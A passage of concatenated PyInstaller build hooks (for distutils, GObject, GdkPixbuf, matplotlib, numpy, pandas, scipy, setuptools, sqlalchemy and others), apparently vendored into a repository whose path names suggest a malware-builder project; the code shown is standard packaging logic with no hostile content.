    hiddenimports += [sysconfig._get_sysconfigdata_name()]
except AttributeError:
    # Either sysconfig has no attribute _get_sysconfigdata_name (i.e., the function does not exist), or this is Windows
    # and the _get_sysconfigdata_name() call failed due to missing sys.abiflags attribute.
    pass

# Starting with setuptools 60.0, the vendored distutils overrides the stdlib one (which will be removed in python 3.12
# anyway), so check if we are using that version. While the distutils override behavior can be controleld via the
# ``SETUPTOOLS_USE_DISTUTILS`` environment variable, the latter may have a different value during the build and at the
# runtime, and so we need to ensure that both stdlib and setuptools variant of distutils are collected.
if check_requirement("setuptools >= 60.0"):
    hiddenimports += ['setuptools._distutils']

ThiefCat_assets/MwlareBuilder/hooks/hook-distutils.py
KSCH-58/Thief-Cat
#-----------------------------------------------------------------------------
# Copyright (c) 2005-2023, PyInstaller Development Team.
#
# Distributed under the terms of the GNU General Public License (version 2
# or later) with exception for distributing the bootloader.
#
# The full license is in the file COPYING.txt, distributed with this software.
#
# SPDX-License-Identifier: (GPL-2.0-or-later WITH Bootloader-exception)
#-----------------------------------------------------------------------------
from PyInstaller.utils.hooks import check_requirement
from PyInstaller.utils.hooks.gi import GiModuleInfo

module_info = GiModuleInfo('GObject', '2.0')
if module_info.available:
    binaries, datas, hiddenimports = module_info.collect_typelib_data()
    # gi._gobject removed from PyGObject in version 3.25.1
    if check_requirement('PyGObject < 3.25.1'):
        hiddenimports += ['gi._gobject']

ThiefCat_assets/MwlareBuilder/hooks/hook-gi.repository.GObject.py
KSCH-58/Thief-Cat
#-----------------------------------------------------------------------------
# Copyright (c) 2005-2023, PyInstaller Development Team.
#
# Distributed under the terms of the GNU General Public License (version 2
# or later) with exception for distributing the bootloader.
#
# The full license is in the file COPYING.txt, distributed with this software.
#
# SPDX-License-Identifier: (GPL-2.0-or-later WITH Bootloader-exception)
#-----------------------------------------------------------------------------

import glob
import os
import shutil

from PyInstaller import compat
from PyInstaller.config import CONF  # workpath
from PyInstaller.utils.hooks import get_hook_config, logger
from PyInstaller.utils.hooks.gi import GiModuleInfo, collect_glib_translations

LOADERS_PATH = os.path.join('gdk-pixbuf-2.0', '2.10.0', 'loaders')
LOADER_MODULE_DEST_PATH = "lib/gdk-pixbuf/loaders"
LOADER_CACHE_DEST_PATH = "lib/gdk-pixbuf"  # NOTE: some search & replace code depends on / being used on all platforms.


def _find_gdk_pixbuf_query_loaders_executable(libdir):
    # Distributions either package gdk-pixbuf-query-loaders in the GI libs directory (not on the path), or on the path
    # with or without a -x64 suffix, depending on the architecture.
    cmds = [
        os.path.join(libdir, 'gdk-pixbuf-2.0', 'gdk-pixbuf-query-loaders'),
        'gdk-pixbuf-query-loaders-64',
        'gdk-pixbuf-query-loaders',
    ]

    for cmd in cmds:
        cmd_fullpath = shutil.which(cmd)
        if cmd_fullpath is not None:
            return cmd_fullpath

    return None


def _collect_loaders(libdir):
    # Assume loader plugins have .so library suffix on all non-Windows platforms
    lib_ext = "*.dll" if compat.is_win else "*.so"

    # Find all loaders
    loader_libs = []
    pattern = os.path.join(libdir, LOADERS_PATH, lib_ext)
    for f in glob.glob(pattern):
        loader_libs.append(f)

    # Sometimes the loaders are stored in a different directory from the library (msys2)
    if not loader_libs:
        pattern = os.path.abspath(os.path.join(libdir, '..', 'lib', LOADERS_PATH, lib_ext))
        for f in glob.glob(pattern):
            loader_libs.append(f)

    return loader_libs


def _generate_loader_cache(gdk_pixbuf_query_loaders, libdir, loader_libs):
    # Run the "gdk-pixbuf-query-loaders" command and capture its standard output providing an updated loader
    # cache; then write this output to the loader cache bundled with this frozen application. On all platforms,
    # we also move the package structure to point to lib/gdk-pixbuf instead of lib/gdk-pixbuf-2.0/2.10.0 in
    # order to make compatible for OSX application signing.
    #
    # On Mac OS we use @executable_path to specify a path relative to the generated bundle. However, on
    # non-Windows, we need to rewrite the loader cache because it is not relocatable by default. See
    # https://bugzilla.gnome.org/show_bug.cgi?id=737523
    #
    # To make it easier to rewrite, we just always write @executable_path, since its significantly easier to
    # find/replace at runtime. :)
    #
    # To permit string munging, decode the encoded bytes output by this command (i.e., enable the
    # "universal_newlines" option).
    #
    # On Fedora, the default loaders cache is /usr/lib64, but the libdir is actually /lib64. To get around this,
    # we pass the path to the loader command, and it will create a cache with the right path.
    #
    # On Windows, the loaders lib directory is relative, starts with 'lib', and uses \\ as path separators
    # (escaped \).
    cachedata = compat.exec_command_stdout(gdk_pixbuf_query_loaders, *loader_libs)

    output_lines = []
    prefix = '"' + os.path.join(libdir, 'gdk-pixbuf-2.0', '2.10.0')
    plen = len(prefix)

    win_prefix = '"' + '\\\\'.join(['lib', 'gdk-pixbuf-2.0', '2.10.0'])
    win_plen = len(win_prefix)

    msys2_prefix = '"' + os.path.abspath(os.path.join(libdir, '..', 'lib', 'gdk-pixbuf-2.0', '2.10.0'))
    msys2_plen = len(msys2_prefix)

    # For each line in the updated loader cache...
    for line in cachedata.splitlines():
        if line.startswith('#'):
            continue
        if line.startswith(prefix):
            line = '"@executable_path/' + LOADER_CACHE_DEST_PATH + line[plen:]
        elif line.startswith(win_prefix):
            line = '"' + LOADER_CACHE_DEST_PATH.replace('/', '\\\\') + line[win_plen:]
        elif line.startswith(msys2_prefix):
            line = ('"' + LOADER_CACHE_DEST_PATH + line[msys2_plen:]).replace('/', '\\\\')
        output_lines.append(line)

    return '\n'.join(output_lines)


def hook(hook_api):
    module_info = GiModuleInfo('GdkPixbuf', '2.0')
    if not module_info.available:
        return

    binaries, datas, hiddenimports = module_info.collect_typelib_data()

    libdir = module_info.get_libdir()

    # Collect GdkPixbuf loaders and generate loader cache file
    gdk_pixbuf_query_loaders = _find_gdk_pixbuf_query_loaders_executable(libdir)
    logger.debug("gdk-pixbuf-query-loaders executable: %s", gdk_pixbuf_query_loaders)
    if not gdk_pixbuf_query_loaders:
        logger.warning("gdk-pixbuf-query-loaders executable not found in GI library directory or in PATH!")
    else:
        # Find all GdkPixbuf loader modules
        loader_libs = _collect_loaders(libdir)

        # Collect discovered loaders
        for lib in loader_libs:
            binaries.append((lib, LOADER_MODULE_DEST_PATH))

        # Generate loader cache; we need to store it to CONF['workpath'] so we can collect it as a data file.
        cachedata = _generate_loader_cache(gdk_pixbuf_query_loaders, libdir, loader_libs)
        cachefile = os.path.join(CONF['workpath'], 'loaders.cache')
        with open(cachefile, 'w') as fp:
            fp.write(cachedata)
        datas.append((cachefile, LOADER_CACHE_DEST_PATH))

    # Collect translations
    lang_list = get_hook_config(hook_api, "gi", "languages")
    if gdk_pixbuf_query_loaders:
        datas += collect_glib_translations('gdk-pixbuf', lang_list)

    hook_api.add_datas(datas)
    hook_api.add_binaries(binaries)
    hook_api.add_imports(*hiddenimports)

ThiefCat_assets/MwlareBuilder/hooks/hook-gi.repository.GdkPixbuf.py
KSCH-58/Thief-Cat
#-----------------------------------------------------------------------------
# Copyright (c) 2019-2023, PyInstaller Development Team.
#
# Distributed under the terms of the GNU General Public License (version 2
# or later) with exception for distributing the bootloader.
#
# The full license is in the file COPYING.txt, distributed with this software.
#
# SPDX-License-Identifier: (GPL-2.0-or-later WITH Bootloader-exception)
#-----------------------------------------------------------------------------
"""
`importlib_resources` is a backport of the 3.9+ module `importlib.resources`
"""

from PyInstaller.utils.hooks import check_requirement, collect_data_files

# Prior to v1.2.0, a `version.txt` file is used to set __version__. Later versions use `importlib.metadata`.
if check_requirement("importlib_resources < 1.2.0"):
    datas = collect_data_files("importlib_resources", includes=["version.txt"])

if check_requirement("importlib_resources >= 1.3.1"):
    hiddenimports = ['importlib_resources.trees']

ThiefCat_assets/MwlareBuilder/hooks/hook-importlib_resources.py
KSCH-58/Thief-Cat
#-----------------------------------------------------------------------------
# Copyright (c) 2015-2023, PyInstaller Development Team.
#
# Distributed under the terms of the GNU General Public License (version 2
# or later) with exception for distributing the bootloader.
#
# The full license is in the file COPYING.txt, distributed with this software.
#
# SPDX-License-Identifier: (GPL-2.0-or-later WITH Bootloader-exception)
#-----------------------------------------------------------------------------

from PyInstaller import log as logging
from PyInstaller.utils.hooks import check_requirement

if check_requirement('kivy >= 1.9.1'):
    from kivy.tools.packaging.PyInstaller_hooks import (add_dep_paths, get_deps_all, get_factory_modules, kivy_modules)
    from kivy.tools.packaging.PyInstaller_hooks import excludedimports, datas  # noqa: F401

    add_dep_paths()

    hiddenimports = get_deps_all()['hiddenimports']
    hiddenimports = list(set(get_factory_modules() + kivy_modules + hiddenimports))
else:
    logger = logging.getLogger(__name__)
    logger.warning('Hook disabled because of Kivy version < 1.9.1')

ThiefCat_assets/MwlareBuilder/hooks/hook-kivy.py
KSCH-58/Thief-Cat
#-----------------------------------------------------------------------------
# Copyright (c) 2013-2023, PyInstaller Development Team.
#
# Distributed under the terms of the GNU General Public License (version 2
# or later) with exception for distributing the bootloader.
#
# The full license is in the file COPYING.txt, distributed with this software.
#
# SPDX-License-Identifier: (GPL-2.0-or-later WITH Bootloader-exception)
#-----------------------------------------------------------------------------

from PyInstaller.compat import is_darwin
from PyInstaller.utils.hooks import logger, get_hook_config
from PyInstaller import isolated


@isolated.decorate
def _get_configured_default_backend():
    """
    Return the configured default matplotlib backend name, if available as matplotlib.rcParams['backend'] (or overridden
    by MPLBACKEND environment variable. If the value of matplotlib.rcParams['backend'] corresponds to the auto-sentinel
    object, returns None
    """
    import matplotlib
    # matplotlib.rcParams overrides the __getitem__ implementation and attempts to determine and load the default
    # backend using pyplot.switch_backend(). Therefore, use dict.__getitem__().
    val = dict.__getitem__(matplotlib.rcParams, 'backend')
    if isinstance(val, str):
        return val
    return None


@isolated.decorate
def _list_available_mpl_backends():
    """
    Returns the names of all available matplotlib backends.
    """
    import matplotlib
    return matplotlib.rcsetup.all_backends


@isolated.decorate
def _check_mpl_backend_importable(module_name):
    """
    Attempts to import the given module name (matplotlib backend module).

    Exceptions are propagated to caller.
    """
    __import__(module_name)


# Bytecode scanning
def _recursive_scan_code_objects_for_mpl_use(co):
    """
    Recursively scan the bytecode for occurrences of matplotlib.use() or mpl.use() calls with const arguments, and
    collect those arguments into list of used matplotlib backend names.
    """

    from PyInstaller.depend.bytecode import any_alias, recursive_function_calls

    mpl_use_names = {
        *any_alias("matplotlib.use"),
        *any_alias("mpl.use"),  # matplotlib is commonly aliased as mpl
    }

    backends = []
    for calls in recursive_function_calls(co).values():
        for name, args in calls:
            # matplotlib.use(backend) or matplotlib.use(backend, force)
            # We support only literal arguments. Similarly, kwargs are
            # not supported.
            if len(args) not in {1, 2} or not isinstance(args[0], str):
                continue
            if name in mpl_use_names:
                backends.append(args[0])

    return backends


def _backend_module_name(name):
    """
    Converts matplotlib backend name to its corresponding module name.

    Equivalent to matplotlib.cbook._backend_module_name().
    """
    if name.startswith("module://"):
        return name[9:]
    return f"matplotlib.backends.backend_{name.lower()}"


def _autodetect_used_backends(hook_api):
    """
    Returns a list of automatically-discovered matplotlib backends in use, or the name of the default matplotlib
    backend. Implements the 'auto' backend selection method.
    """
    # Scan the code for matplotlib.use()
    modulegraph = hook_api.analysis.graph
    mpl_code_objs = modulegraph.get_code_using("matplotlib")
    used_backends = []
    for name, co in mpl_code_objs.items():
        co_backends = _recursive_scan_code_objects_for_mpl_use(co)
        if co_backends:
            logger.info(
                "Discovered Matplotlib backend(s) via `matplotlib.use()` call in module %r: %r", name, co_backends
            )
            used_backends += co_backends

    if used_backends:
        HOOK_CONFIG_DOCS = 'https://PyInstaller.org/en/stable/hooks-config.html#matplotlib-hooks'
        logger.info(
            "The following Matplotlib backends were discovered by scanning for `matplotlib.use()` calls: %r. If your "
            "backend of choice is not in this list, either add a `matplotlib.use()` call to your code, or configure "
            "the backend collection via hook options (see: %s).", used_backends, HOOK_CONFIG_DOCS
        )
        return used_backends

    # Determine the default matplotlib backend.
    #
    # Ideally, this would be done by calling ``matplotlib.get_backend()``. However, that function tries to switch to the
    # default backend (calling ``matplotlib.pyplot.switch_backend()``), which seems to occasionally fail on our linux CI
    # with an error and, on other occasions, returns the headless Agg backend instead of the GUI one (even with display
    # server running). Furthermore, using ``matplotlib.get_backend()`` returns headless 'Agg' when display server is
    # unavailable, which is not ideal for automated builds.
    #
    # Therefore, we try to emulate ``matplotlib.get_backend()`` ourselves. First, we try to obtain the configured
    # default backend from settings (rcparams and/or MPLBACKEND environment variable). If that is unavailable, we try to
    # find the first importable GUI-based backend, using the same list as matplotlib.pyplot.switch_backend() uses for
    # automatic backend selection. The difference is that we only test whether the backend module is importable, without
    # trying to switch to it.
    default_backend = _get_configured_default_backend()  # isolated sub-process
    if default_backend:
        logger.info("Found configured default matplotlib backend: %s", default_backend)
        return [default_backend]

    candidates = ["Qt5Agg", "Gtk3Agg", "TkAgg", "WxAgg"]
    if is_darwin:
        candidates = ["MacOSX"] + candidates
    logger.info("Trying determine the default backend as first importable candidate from the list: %r", candidates)

    for candidate in candidates:
        try:
            module_name = _backend_module_name(candidate)
            _check_mpl_backend_importable(module_name)  # NOTE: uses an isolated sub-process.
        except Exception:
            continue
        return [candidate]

    # Fall back to headless Agg backend
    logger.info("None of the backend candidates could be imported; falling back to headless Agg!")
    return ['Agg']


def _collect_all_importable_backends(hook_api):
    """
    Returns a list of all importable matplotlib backends. Implements the 'all' backend selection method.
    """
    # List of the human-readable names of all available backends.
    backend_names = _list_available_mpl_backends()  # NOTE: retrieved in an isolated sub-process.
    logger.info("All available matplotlib backends: %r", backend_names)

    # Try to import the module(s).
    importable_backends = []

    # List of backends to exclude; Qt4 is not supported by PyInstaller anymore.
    exclude_backends = {'Qt4Agg', 'Qt4Cairo'}

    # Ignore "CocoaAgg" on OSes other than Mac OS; attempting to import it on other OSes halts the current
    # (sub)process without printing output or raising exceptions, preventing reliable detection. Apply the
    # same logic for the (newer) "MacOSX" backend.
    if not is_darwin:
        exclude_backends |= {'CocoaAgg', 'MacOSX'}

    # For safety, attempt to import each backend in an isolated sub-process.
    for backend_name in backend_names:
        if backend_name in exclude_backends:
            logger.info('  Matplotlib backend %r: excluded', backend_name)
            continue

        try:
            module_name = _backend_module_name(backend_name)
            _check_mpl_backend_importable(module_name)  # NOTE: uses an isolated sub-process.
        except Exception:
            # Backend is not importable, for whatever reason.
            logger.info('  Matplotlib backend %r: ignored due to import error', backend_name)
            continue

        logger.info('  Matplotlib backend %r: added', backend_name)
        importable_backends.append(backend_name)

    return importable_backends


def hook(hook_api):
    # Backend collection setting
    backends_method = get_hook_config(hook_api, 'matplotlib', 'backends')
    if backends_method is None:
        backends_method = 'auto'  # default method

    # Select backend(s)
    if backends_method == 'auto':
        logger.info("Matplotlib backend selection method: automatic discovery of used backends")
        backend_names = _autodetect_used_backends(hook_api)
    elif backends_method == 'all':
        logger.info("Matplotlib backend selection method: collection of all importable backends")
        backend_names = _collect_all_importable_backends(hook_api)
    else:
        logger.info("Matplotlib backend selection method: user-provided name(s)")
        if isinstance(backends_method, str):
            backend_names = [backends_method]
        else:
            assert isinstance(backends_method, list), "User-provided backend name(s) must be either a string or a list!"
            backend_names = backends_method

    logger.info("Selected matplotlib backends: %r", backend_names)

    # Set module names as hiddenimports
    module_names = [_backend_module_name(backend) for backend in backend_names]  # backend name -> module name
    hook_api.add_imports(*module_names)

ThiefCat_assets/MwlareBuilder/hooks/hook-matplotlib.backends.py
KSCH-58/Thief-Cat
#-----------------------------------------------------------------------------
# Copyright (c) 2013-2023, PyInstaller Development Team.
#
# Distributed under the terms of the GNU General Public License (version 2
# or later) with exception for distributing the bootloader.
#
# The full license is in the file COPYING.txt, distributed with this software.
#
# SPDX-License-Identifier: (GPL-2.0-or-later WITH Bootloader-exception)
#-----------------------------------------------------------------------------

from PyInstaller import isolated
from PyInstaller import compat
from PyInstaller.utils import hooks as hookutils


@isolated.decorate
def mpl_data_dir():
    import matplotlib
    return matplotlib.get_data_path()


datas = [
    (mpl_data_dir(), "matplotlib/mpl-data"),
]

binaries = []

# Windows PyPI wheels for `matplotlib` >= 3.7.0 use `delvewheel`.
# In addition to DLLs from `matplotlib.libs` directory, which should be picked up automatically by dependency analysis
# in contemporary PyInstaller versions, we also need to collect the load-order file. This used to be required for
# python <= 3.7 (that lacked `os.add_dll_directory`), but is also needed for Anaconda python 3.8 and 3.9, where
# `delvewheel` falls back to load-order file codepath due to Anaconda breaking `os.add_dll_directory` implementation.
if compat.is_win and hookutils.check_requirement('matplotlib >= 3.7.0'):
    delvewheel_datas, delvewheel_binaries = hookutils.collect_delvewheel_libs_directory('matplotlib')

    datas += delvewheel_datas
    binaries += delvewheel_binaries

ThiefCat_assets/MwlareBuilder/hooks/hook-matplotlib.py
KSCH-58/Thief-Cat
#!/usr/bin/env python3

# --- Copyright Disclaimer ---
#
# In order to support PyInstaller with numpy<1.20.0 this file will be duplicated for a short period inside
# PyInstaller's repository [1]. However this file is the intellectual property of the NumPy team and is
# under the terms and conditions outlined their repository [2].
#
# .. refs:
#
#   [1] PyInstaller: https://github.com/PyInstaller/PyInstaller/
#   [2] NumPy's license: https://github.com/numpy/numpy/blob/master/LICENSE.txt
#
"""
This hook should collect all binary files and any hidden modules that numpy needs.

Our (some-what inadequate) docs for writing PyInstaller hooks are kept here:
https://PyInstaller.readthedocs.io/en/stable/hooks.html

PyInstaller has a lot of NumPy users so we consider maintaining this hook a high priority.
Feel free to @mention either bwoodsend or Legorooj on Github for help keeping it working.
"""

from PyInstaller.compat import is_conda, is_pure_conda
from PyInstaller.utils.hooks import collect_dynamic_libs, check_requirement

# Collect all DLLs inside numpy's installation folder, dump them into built app's root.
binaries = collect_dynamic_libs("numpy", ".")

# If using Conda without any non-conda virtual environment manager:
if is_pure_conda:
    # Assume running the NumPy from Conda-forge and collect it's DLLs from the communal Conda bin directory. DLLs from
    # NumPy's dependencies must also be collected to capture MKL, OpenBlas, OpenMP, etc.
    from PyInstaller.utils.hooks import conda_support
    datas = conda_support.collect_dynamic_libs("numpy", dependencies=True)

# Submodules PyInstaller cannot detect (probably because they are only imported by extension modules, which PyInstaller
# cannot read).
hiddenimports = ['numpy.core._dtype_ctypes']
if is_conda:
    hiddenimports.append("six")

# Remove testing and building code and packages that are referenced throughout NumPy but are not really dependencies.
excludedimports = [
    "scipy",
    "pytest",
    "nose",
    "f2py",
    "setuptools",
    "numpy.f2py",
]

# As of version 1.22, numpy.testing (imported for example by some scipy modules) requires numpy.distutils and distutils.
# So exclude them only for earlier versions.
if check_requirement("numpy < 1.22"):
    excludedimports += [
        "distutils",
        "numpy.distutils",
    ]

ThiefCat_assets/MwlareBuilder/hooks/hook-numpy.py
KSCH-58/Thief-Cat
#-----------------------------------------------------------------------------
# Copyright (c) 2021-2023, PyInstaller Development Team.
#
# Distributed under the terms of the GNU General Public License (version 2
# or later) with exception for distributing the bootloader.
#
# The full license is in the file COPYING.txt, distributed with this software.
#
# SPDX-License-Identifier: (GPL-2.0-or-later WITH Bootloader-exception)
#-----------------------------------------------------------------------------

from PyInstaller.utils.hooks import check_requirement

# Starting with pandas 1.3.0, pandas.plotting._matplotlib is imported via importlib.import_module() and needs to be
# added to hidden imports. But do this only if matplotlib is available in the first place (as it is soft dependency
# of pandas).
if check_requirement('pandas >= 1.3.0') and check_requirement('matplotlib'):
    hiddenimports = ['pandas.plotting._matplotlib']

ThiefCat_assets/MwlareBuilder/hooks/hook-pandas.plotting.py
KSCH-58/Thief-Cat
#-----------------------------------------------------------------------------
# Copyright (c) 2017-2023, PyInstaller Development Team.
#
# Distributed under the terms of the GNU General Public License (version 2
# or later) with exception for distributing the bootloader.
#
# The full license is in the file COPYING.txt, distributed with this software.
#
# SPDX-License-Identifier: (GPL-2.0-or-later WITH Bootloader-exception)
#-----------------------------------------------------------------------------

from PyInstaller.utils.hooks import collect_submodules, check_requirement

# Pandas keeps Python extensions loaded with dynamic imports here.
hiddenimports = collect_submodules('pandas._libs')

# Pandas 1.2.0 and later require cmath hidden import on linux and macOS. On Windows, this is not strictly required, but
# we add it anyway to keep things simple (and future-proof).
if check_requirement('pandas >= 1.2.0'):
    hiddenimports += ['cmath']

ThiefCat_assets/MwlareBuilder/hooks/hook-pandas.py
KSCH-58/Thief-Cat
#-----------------------------------------------------------------------------
# Copyright (c) 2005-2023, PyInstaller Development Team.
#
# Distributed under the terms of the GNU General Public License (version 2
# or later) with exception for distributing the bootloader.
#
# The full license is in the file COPYING.txt, distributed with this software.
#
# SPDX-License-Identifier: (GPL-2.0-or-later WITH Bootloader-exception)
#-----------------------------------------------------------------------------

from PyInstaller.utils.hooks import collect_submodules, check_requirement, can_import_module

# pkg_resources keeps vendored modules in its _vendor subpackage, and does sys.meta_path based import magic to expose
# them as pkg_resources.extern.*

# The `railroad` package is an optional requirement for `pyparsing`. `pyparsing.diagrams` depends on `railroad`, so
# filter it out when `railroad` is not available.
if can_import_module('railroad'):
    hiddenimports = collect_submodules('pkg_resources._vendor')
else:
    hiddenimports = collect_submodules(
        'pkg_resources._vendor', filter=lambda name: 'pkg_resources._vendor.pyparsing.diagram' not in name
    )

# pkg_resources v45.0 dropped support for Python 2 and added this module printing a warning. We could save some bytes if
# we would replace this by a fake module.
if check_requirement('setuptools >= 45.0.0, < 49.1.1'):
    hiddenimports.append('pkg_resources.py2_warn')

excludedimports = ['__main__']

# Some more hidden imports. See:
# https://github.com/PyInstaller/PyInstaller-hooks-contrib/issues/15#issuecomment-663699288 `packaging` can either be
# its own package, or embedded in `pkg_resources._vendor.packaging`, or both.
hiddenimports += collect_submodules('packaging')

# As of v60.7, setuptools vendored jaraco and has pkg_resources use it. Currently, the pkg_resources._vendor.jaraco
# namespace package cannot be automatically scanned due to limited support for pure namespace packages in our hook
# utilities.
#
# In setuptools 60.7.0, the vendored jaraco.text package included "Lorem Ipsum.txt" data file, which also has to be
# collected. However, the presence of the data file (and the resulting directory hierarchy) confuses the importer's
# redirection logic; instead of trying to work-around that, tell user to upgrade or downgrade their setuptools.
if check_requirement("setuptools == 60.7.0"):
    raise SystemExit(
        "ERROR: Setuptools 60.7.0 is incompatible with PyInstaller. "
        "Downgrade to an earlier version or upgrade to a later version."
    )
# In setuptools 60.7.1, the "Lorem Ipsum.txt" data file was dropped from the vendored jaraco.text package, so we can
# accommodate it with couple of hidden imports.
elif check_requirement("setuptools >= 60.7.1"):
    hiddenimports += [
        'pkg_resources._vendor.jaraco.functools',
        'pkg_resources._vendor.jaraco.context',
        'pkg_resources._vendor.jaraco.text',
    ]

ThiefCat_assets/MwlareBuilder/hooks/hook-pkg_resources.py
KSCH-58/Thief-Cat
# -----------------------------------------------------------------------------
# Copyright (c) 2013-2023, PyInstaller Development Team.
#
# Distributed under the terms of the GNU General Public License (version 2
# or later) with exception for distributing the bootloader.
#
# The full license is in the file COPYING.txt, distributed with this software.
#
# SPDX-License-Identifier: (GPL-2.0-or-later WITH Bootloader-exception)
# -----------------------------------------------------------------------------

import glob
import os

from PyInstaller.compat import is_win
from PyInstaller.utils.hooks import get_module_file_attribute, check_requirement, collect_delvewheel_libs_directory

binaries = []
datas = []

# Package the DLL bundle that official scipy wheels for Windows ship The DLL bundle will either be in extra-dll on
# windows proper and in .libs if installed on a virtualenv created from MinGW (Git-Bash for example)
if is_win:
    extra_dll_locations = ['extra-dll', '.libs']
    for location in extra_dll_locations:
        dll_glob = os.path.join(os.path.dirname(get_module_file_attribute('scipy')), location, "*.dll")
        if glob.glob(dll_glob):
            binaries.append((dll_glob, "."))

# Handle delvewheel-enabled win32 wheels, which have external scipy.libs directory (scipy >= 0.9.2)
if check_requirement("scipy >= 1.9.2") and is_win:
    datas, binaries = collect_delvewheel_libs_directory('scipy', datas=datas, binaries=binaries)

# collect library-wide utility extension modules
hiddenimports = ['scipy._lib.%s' % m for m in ['messagestream', "_ccallback_c", "_fpumode"]]

ThiefCat_assets/MwlareBuilder/hooks/hook-scipy.py
KSCH-58/Thief-Cat
#-----------------------------------------------------------------------------
# Copyright (c) 2021-2023, PyInstaller Development Team.
#
# Distributed under the terms of the GNU General Public License (version 2
# or later) with exception for distributing the bootloader.
#
# The full license is in the file COPYING.txt, distributed with this software.
#
# SPDX-License-Identifier: (GPL-2.0-or-later WITH Bootloader-exception)
#-----------------------------------------------------------------------------

from PyInstaller.utils.hooks import check_requirement

# As of scipy 1.6.0, scipy.spatial.transform.rotation is cython-compiled, so we fail to automatically pick up its
# imports.
if check_requirement("scipy >= 1.6.0"):
    hiddenimports = ['scipy.spatial.transform._rotation_groups']

ThiefCat_assets/MwlareBuilder/hooks/hook-scipy.spatial.transform.rotation.py
KSCH-58/Thief-Cat
#-----------------------------------------------------------------------------
# Copyright (c) 2013-2023, PyInstaller Development Team.
#
# Distributed under the terms of the GNU General Public License (version 2
# or later) with exception for distributing the bootloader.
#
# The full license is in the file COPYING.txt, distributed with this software.
#
# SPDX-License-Identifier: (GPL-2.0-or-later WITH Bootloader-exception)
#-----------------------------------------------------------------------------

from PyInstaller.utils.hooks import check_requirement

if check_requirement("scipy >= 1.5.0"):
    hiddenimports = ['scipy.special.cython_special']

ThiefCat_assets/MwlareBuilder/hooks/hook-scipy.stats._stats.py
KSCH-58/Thief-Cat
#-----------------------------------------------------------------------------
# Copyright (c) 2013-2023, PyInstaller Development Team.
#
# Distributed under the terms of the GNU General Public License (version 2
# or later) with exception for distributing the bootloader.
#
# The full license is in the file COPYING.txt, distributed with this software.
#
# SPDX-License-Identifier: (GPL-2.0-or-later WITH Bootloader-exception)
#-----------------------------------------------------------------------------

from PyInstaller.compat import is_darwin, is_unix
from PyInstaller.utils.hooks import collect_submodules, check_requirement

hiddenimports = [
    # Test case import/test_zipimport2 fails during importing pkg_resources or setuptools when module not present.
    'distutils.command.build_ext',
    'setuptools.msvc',
]

# Necessary for setuptools on Mac/Unix
if is_unix or is_darwin:
    hiddenimports.append('syslog')

# setuptools >= 39.0.0 is "vendoring" its own direct dependencies from "_vendor" to "extern". This also requires
# 'pre_safe_import_module/hook-setuptools.extern.six.moves.py' to make the moves defined in 'setuptools._vendor.six'
# importable under 'setuptools.extern.six'.
_excluded_submodules = (
    # Prevent recursing into setuptools._vendor.pyparsing.diagram, which typically fails to be imported due to
    # missing dependencies (railroad, pyparsing (?), jinja2) and generates a warning... As the module is usually
    # unimportable, it is likely not to be used by setuptools.
    'setuptools._vendor.pyparsing.diagram',
)
hiddenimports.extend(collect_submodules('setuptools._vendor', filter=lambda name: name not in _excluded_submodules))

# As of setuptools >= 60.0, we need to collect the vendored version of distutils via hiddenimports. The corresponding
# pyi_rth_setuptools runtime hook ensures that the _distutils_hack is installed at the program startup, which allows
# setuptools to override the stdlib distutils with its vendored version, if necessary.
if check_requirement("setuptools >= 60.0"):
    hiddenimports += ["_distutils_hack"]
    hiddenimports += collect_submodules("setuptools._distutils")

ThiefCat_assets/MwlareBuilder/hooks/hook-setuptools.py
KSCH-58/Thief-Cat
#-----------------------------------------------------------------------------
# Copyright (c) 2005-2023, PyInstaller Development Team.
#
# Distributed under the terms of the GNU General Public License (version 2
# or later) with exception for distributing the bootloader.
#
# The full license is in the file COPYING.txt, distributed with this software.
#
# SPDX-License-Identifier: (GPL-2.0-or-later WITH Bootloader-exception)
#-----------------------------------------------------------------------------

import re

from PyInstaller import isolated
from PyInstaller.lib.modulegraph.modulegraph import SourceModule
from PyInstaller.lib.modulegraph.util import guess_encoding
from PyInstaller.utils.hooks import check_requirement, logger

# 'sqlalchemy.testing' causes bundling a lot of unnecessary modules.
excludedimports = ['sqlalchemy.testing']

# Include most common database bindings some database bindings are detected and include some are not. We should
# explicitly include database backends.
hiddenimports = ['pysqlite2', 'MySQLdb', 'psycopg2', 'sqlalchemy.ext.baked']

if check_requirement('sqlalchemy >= 1.4'):
    hiddenimports.append("sqlalchemy.sql.default_comparator")


@isolated.decorate
def _get_dialect_modules(module_name):
    import importlib
    module = importlib.import_module(module_name)
    return [f"{module_name}.{submodule_name}" for submodule_name in module.__all__]


# In SQLAlchemy >= 0.6, the "sqlalchemy.dialects" package provides dialects.
# In SQLAlchemy <= 0.5, the "sqlalchemy.databases" package provides dialects.
if check_requirement('sqlalchemy >= 0.6'):
    hiddenimports += _get_dialect_modules("sqlalchemy.dialects")
else:
    hiddenimports += _get_dialect_modules("sqlalchemy.databases")


def hook(hook_api):
    """
    SQLAlchemy 0.9 introduced the decorator 'util.dependencies'.  This decorator does imports. E.g.:

            @util.dependencies("sqlalchemy.sql.schema")

    This hook scans for included SQLAlchemy modules and then scans those modules for any util.dependencies and marks
    those modules as hidden imports.
    """

    if not check_requirement('sqlalchemy >= 0.9'):
        return

    # this parser is very simplistic but seems to catch all cases as of V1.1
    depend_regex = re.compile(r'@util.dependencies\([\'"](.*?)[\'"]\)')

    hidden_imports_set = set()
    known_imports = set()
    for node in hook_api.module_graph.iter_graph(start=hook_api.module):
        if isinstance(node, SourceModule) and node.identifier.startswith('sqlalchemy.'):
            known_imports.add(node.identifier)
            # Determine the encoding of the source file.
            with open(node.filename, 'rb') as f:
                encoding = guess_encoding(f)
            # Use that to open the file.
            with open(node.filename, 'r', encoding=encoding) as f:
                for match in depend_regex.findall(f.read()):
                    hidden_imports_set.add(match)

    hidden_imports_set -= known_imports
    if len(hidden_imports_set):
        logger.info("  Found %d sqlalchemy hidden imports", len(hidden_imports_set))
        hook_api.add_imports(*list(hidden_imports_set))

ThiefCat_assets/MwlareBuilder/hooks/hook-sqlalchemy.py
KSCH-58/Thief-Cat
# -----------------------------------------------------------------------------
# Copyright (c) 2023, PyInstaller Development Team.
#
# Distributed under the terms of the GNU General Public License (version 2
# or later) with exception for distributing the bootloader.
#
# The full license is in the file COPYING.txt, distributed with this software.
#
# SPDX-License-Identifier: (GPL-2.0-or-later WITH Bootloader-exception)
# -----------------------------------------------------------------------------
"""
This hook allows discovery and collection of PyInstaller's internal _pyi_rth_utils module that provides utility
functions for run-time hooks.

The module is implemented in 'PyInstaller/fake-modules/_pyi_rth_utils.py'.
"""

